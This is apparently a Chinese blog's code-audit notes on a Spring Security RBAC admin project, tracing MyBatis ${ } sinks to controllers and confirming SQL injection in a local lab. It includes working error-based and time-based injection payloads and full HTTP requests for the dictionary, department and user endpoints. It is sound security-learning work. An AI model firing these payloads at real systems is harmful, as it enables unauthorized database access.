第三部分实操笔记
This_is_Y Lv6

第三部分实操笔记

审计准备工作

在pom.xml中查看是否存在有漏洞的组件

在src/main/resources目录下查看各种配置信息,druid,mysql或其他数据库的帐号密码或者jwt密钥之类的信息。

目前的一些问题

  • 怎么去找系统的全局过滤器(Filter)或者拦截器(Interceptor)

RBAC系统

sql注入

简单看了一下项目结构,使用了mybatis

ctrl+alt+f 全局搜索 ${ ,文件掩码设置为xml

image-20230914170326407

数量不多,主要集中在DictMapper.xml DeptMapper.xml,RoleMapper.xml,UserMapper.xml中,装上free mybatis tool插件后,一个一个来看

[*] DictMapper.xml

1
2
3
4
5
6
7
<select id="getFuzzyDictByPage" resultType="com.codermy.myspringsecurityplus.admin.entity.MyDict">
<include refid="selectDictVo"/>
<where>
<if test="dictName != null and dictName != ''">
AND di.dict_name like CONCAT('%', ${dictName}, '%')
</if>
</where>

这个mybatis跳回到了com/codermy/myspringsecurityplus/admin/dao/DictDao.java的getFuzzyDictByPage()

1
2
3
4
5
6
7
8
List<MyDict> getFuzzyDictByPage(MyDict myDict);

/**
* 通过字典名称获取字典信息
* @param dictName
* @return
*/

再往回跳到了com/codermy/myspringsecurityplus/admin/service/impl/DictServiceImpl.java的getDictPage()

1
2
3
4
5
public Result<MyDict> getDictPage(Integer offectPosition, Integer limit, MyDict myDict) {
Page page = PageHelper.offsetPage(offectPosition,limit);
List<MyDict> fuzzyDictByPage = dictDao.getFuzzyDictByPage(myDict);
return Result.ok().count(page.getTotal()).data(fuzzyDictByPage).code(ResultCode.TABLE_SUCCESS);
}

然后继续,到了com/codermy/myspringsecurityplus/admin/controller/DictController.java的getDictAll()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@GetMapping("/index")
@PreAuthorize("hasAnyAuthority('dict:list')")
public String index(){
return "system/dict/dict";
}


@GetMapping
@ResponseBody
@ApiOperation(value = "字典列表")
@PreAuthorize("hasAnyAuthority('dict:list')")
@MyLog("查询字典列表")
public Result getDictAll(PageTableRequest pageTableRequest, MyDict myDict){
pageTableRequest.countOffset();
return dictService.getDictPage(pageTableRequest.getOffset(),pageTableRequest.getLimit(),myDict);
}

直接到了controller层,打上端点,根据注释找到对应的功能点:系统管理>字典管理

抓包开始跟一下流程,

image-20230914173905717

使用mysqlMonitor监控到了执行的sql语句:

image-20230914174112811

1
insert into my_log(user_name,ip,description,params,type,exception_detail,browser,method,time,create_time)values('admin','192.168.70.213','??????','{ pageTableRequest: PageTableRequest(page=1, limit=10, offset=0) myDict: MyDict(dictId=null, dictName=''or 1=1--+, description=null, sort=null, createBy=null, updateBy=null) }','ERROR','org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.  Cause: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')) tmp_count'' at line 4\n### The error may exist in file [/home/this_is_y/Code_Audit/Document/dweb2/???/??????1 ?????WEB?????????????/RefiningStone-RBAC(???)/target/classes/mybatis-mappers/DictMapper.xml]\n### The error may involve defaultParameterMap\n### The error occurred while setting parameters\n### SQL: select count(0) from (select di.dict_id,di.dict_name,di.description,di.sort,di.create_by,di.update_by,di.create_time,di.update_time         from my_dict di                WHERE  di.dict_name like CONCAT(''%'', ''or 1=1--+, ''%'')) tmp_count\n### Cause: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')) tmp_count'' at line 4\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')) tmp_count'' at line 4\n	at org.springframework.jsupport.SQLErrorCodeSQLExceptionTranslator.doTranslate(SQLErrorCodeSQLExceptionTranslator.java:235)\n	at org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbackSQLExceptionTranslator.java:72)\n	at …………

其中提取到执行的sql语句:

1
select di.dict_id,di.dict_name,di.description,di.sort,di.create_by,di.update_by,di.create_time,di.update_time from my_dict di WHERE  di.dict_name like CONCAT(''%'', ''or 1=1--+, ''%'')

构造一下payload:

(select (if(length(database())=0,exp(99),exp(999))))

使用burp爆破一下,database()长度为4

image-20230915113323345

数据包:

1
2
3
4
5
6
7
8
9
10
11
12
GET /api/dict?page=1&limit=10&dictName=(select+(if(length(database())=§0§%2Cexp(99)%2Cexp(999)))) HTTP/1.1
Host: 192.168.70.213:8088
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.70.213:8088/api/dict/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=37FB57E11F828B48803F86DEAEB7E368; remember-me=YWRtaW46MTY5NTk1ODMyMDc1Mjo5NDAxZDJlZThlYmI3NjM2YzUyZGVjYzZhYjFmMTk5OQ
Connection: close


[*] DeptMapper.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

<select id="getFuzzyDept" resultType="com.codermy.myspringsecurityplus.admin.entity.MyDept">
<include refid="selectDeptVo"/>
<where>
<if test="deptName != null and deptName != ''">
AND d.dept_name like CONCAT('%', #{deptName}, '%')
</if>
<if test="status != null and status != ''">
AND d.status = #{status}
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</where>
order by d.sort
</select>
…………
<select id="buildAll" resultType="com.codermy.myspringsecurityplus.admin.dto.DeptDto">
select d.dept_id as id,d.parent_id,d.dept_name as title
from my_dept d
<where>
<!-- 数据范围过滤 -->
${params.dataScope}
</where>
</select>
…………

<update id="updateDeptStatus" parameterType="com.codermy.myspringsecurityplus.admin.entity.MyDept">
update my_dept
<set>
<if test="status != null and status != ''">status = #{status},</if>
update_time = #{updateTime}
</set>
where dept_id in (${ancestors})
</update>

这边使用一样的方法,追溯到了com/codermy/myspringsecurityplus/admin/service/impl/DeptServiceImpl.java的getDeptAll()

1
2
3
4
5
@Override
@DataPermission(deptAlias = "d")
public List<MyDept> getDeptAll(MyDept myDept) {
return deptDao.getFuzzyDept(myDept);
}

然后是com/codermy/myspringsecurityplus/admin/controller/DeptController.java

1
2
3
4
5
6
7
8
@GetMapping
@ResponseBody
@ApiOperation(value = "部门列表")
@PreAuthorize("hasAnyAuthority('dept:edit')")
@MyLog("查询部门")
public Result getDeptAll(MyDept myDept){
return Result.ok().data(deptService.getDeptAll(myDept)).code(ResultCode.TABLE_SUCCESS);
}

但是这边的注入点为${params.dataScope},在回溯过程中没有找到这个参数params.dataScope,找到MaDept的定义,里面也没有params,放弃这两个点

image-20230915145244591

直接看第三点,where dept_id in (${ancestors})

跳到com/codermy/myspringsecurityplus/admin/service/impl/DeptServiceImpl.java只有一处使用

1
2
3
4
5
private void updateParentDeptStatus(MyDept dept)
{
dept = deptDao.selectDeptById(dept.getDeptId());;
deptDao.updateDeptStatus(dept);
}

在当前文件的updateDept里,需要满足UserConstants.DEPT_NORMAL.equals(dept.getStatus().toString())条件才能进入updateParentDeptStatus,这个条件很好满足,body中的”status”:”1”就ok了。

这个updateDept也只有一处使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Override
public int updateDept(MyDept dept) {
MyDept parentInfo = deptDao.selectDeptById(dept.getParentId());
MyDept oldInfo = selectDeptById(dept.getDeptId());
if(ObjectUtil.isNotEmpty(parentInfo) &&ObjectUtil.isNotEmpty(oldInfo)){
String newAncestors = parentInfo.getAncestors() + "," + parentInfo.getDeptId();
String oldAncestors = oldInfo.getAncestors();
dept.setAncestors(newAncestors);
updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors);
}
int result =deptDao.updateDept(dept);
if (UserConstants.DEPT_NORMAL.equals(dept.getStatus().toString()))
{
// 如果该部门是启用状态,则启用该部门的所有上级部门
updateParentDeptStatus(dept);
}
return result;
}

最后来到了这里

com/codermy/myspringsecurityplus/admin/controller/DeptController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@PutMapping
@ResponseBody
@ApiOperation(value = "修改部门")
@PreAuthorize("hasAnyAuthority('dept:edit')")
@MyLog("修改部门")
public Result updateMenu(@RequestBody MyDept dept) {
if (UserConstants.DEPT_NAME_NOT_UNIQUE.equals( deptService.checkDeptNameUnique(dept))) {
return Result.error().message("更新岗位'" + dept.getDeptName() + "'失败,岗位名称已存在");
} else if (dept.getParentId().equals(dept.getDeptId()))
{
return Result.error().message("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己");
}else if (dept.getStatus().toString().equals(UserConstants.DEPT_DISABLE)
&& deptService.selectNormalChildrenDeptById(dept.getDeptId()) > 0)
{
return Result.error().message("该部门包含未停用的子部门!");
}
int i = deptService.updateDept(dept);
return Result.judge(i,"修改");
}

这个函数要走到 int i = deptService.updateDept(dept); 的话,前面三个if由于都return了,所以都不能进去,也就是下面三个判断都要为false

1
2
3
UserConstants.DEPT_NAME_NOT_UNIQUE.equals( deptService.checkDeptNameUnique(dept))
dept.getParentId().equals(dept.getDeptId())
dept.getStatus().toString().equals(UserConstants.DEPT_DISABLE) && deptService.selectNormalChildrenDeptById(dept.getDeptId()) > 0

这里也好解决,流程跟到updateDept()里,可以看到一个判断

1
if(ObjectUtil.isNotEmpty(parentInfo) &&ObjectUtil.isNotEmpty(oldInfo)){

其中parentInfo和oldInfo的定义如下:

1
2
MyDept parentInfo = deptDao.selectDeptById(dept.getParentId());
MyDept oldInfo = selectDeptById(dept.getDeptId());

如果不想走到这个判断里面,那就需要控制parentid和deptid参数,使parentInfo和oldInfo有一个或全部为空。需要注意的是,修改了parentid和deptid参数,会影响前面的判断

1
dept.getParentId().equals(dept.getDeptId())

目前测试”deptId”:”1”,”parentId”:”0”,可以同时满足两个条件,最后执行的sql

1
2
3
4
update my_dept
SET status = 1,
update_time = '2023-09-15 15:40:57.538'
where dept_id in ((select(if(1,sleep(1),sleep(2)))))

数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /api/dept HTTP/1.1
Host: 192.168.70.213:8088
Content-Length: 200
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://192.168.70.213:8088
Referer: http://192.168.70.213:8088/api/dept/edit/?deptId=8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=DACE0292ACA46CFCCC1F27333A55B644; remember-me=YWRtaW46MTY5NTk3MTQ2NzgxMjpmNzAzM2JlYjI0MThkZmM0NzZmZGFmZTgyZmQyMGE0NQ
Connection: close

{"deptId":"1","parentId":"0","deptName":"市场部门","sort":"123","status":"1","dataTree_select_nodeId":"5","dataTree_select_input":"苏州分公司","ancestors":"(select(if(0,sleep(1),sleep(2))))"}

RoleMapper.xml

1
2
3
4
5
6
7
8
9
10
<select id="getFuzzyRolesByPage" resultType="com.codermy.myspringsecurityplus.admin.entity.MyRole">
<include refid="selectRoleContactVo"/>
<where>
<if test="roleName != null and roleName != ''">
r.role_name like CONCAT('%', #{roleName}, '%')
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</where>
</select>

同DeptMapper.xml,没有参数params.dataScope

[*] UserMapper.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<select id="getFuzzyUserByPage" resultType="com.codermy.myspringsecurityplus.admin.entity.MyUser">
SELECT u.user_id,u.dept_id,u.user_name,u.password,u.nick_name,u.phone,u.email,u.status,u.create_time,u.update_time
FROM my_user u
left join my_dept d on u.dept_id = d.dept_id
<where>
<if test="nickName != null and nickName != ''">
AND u.nick_name like CONCAT('%', ${nickName}, '%')
</if>
<if test="userName != null and userName != ''">
AND u.user_name like CONCAT('%', ${userName}, '%')
</if>
<if test="deptId != null and deptId != ''">
AND (u.dept_id = #{deptId} OR u.dept_id IN ( SELECT e.dept_id FROM my_dept e WHERE FIND_IN_SET(#{deptId},ancestors) ))
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</where>
ORDER BY u.user_id
</select>

同DeptMapper.xml,没有参数params.dataScope

然后还有两个${nickName}。这个点比较简单,

就是userName和nickName两个参数

SELECT count(0) FROM my_user u LEFT JOIN my_dept d ON u.dept_id = d.dept_id WHERE u.nick_name LIKE CONCAT(‘%’, (SELECT (if(1, sleep(1), sleep(2)))), ‘%’)

数据包:

1
2
3
4
5
6
7
8
9
10
11
12
GET /api/user?page=1&limit=10&userName=&nickName=(select+(if(1%2Csleep(1)%2Csleep(2)))) HTTP/1.1
Host: 172.17.0.1:8088
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://172.17.0.1:8088/api/user/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=8EE7D716E26721B50C5C006CC0DDA736; remember-me=YWRtaW46MTY5NTk3NTYyNzM3ODo1YjBkZWE4OWE3MmIzZjhiODhjOTZjODY1ODFhMmQyZg,zhg
Connection: close


 Comments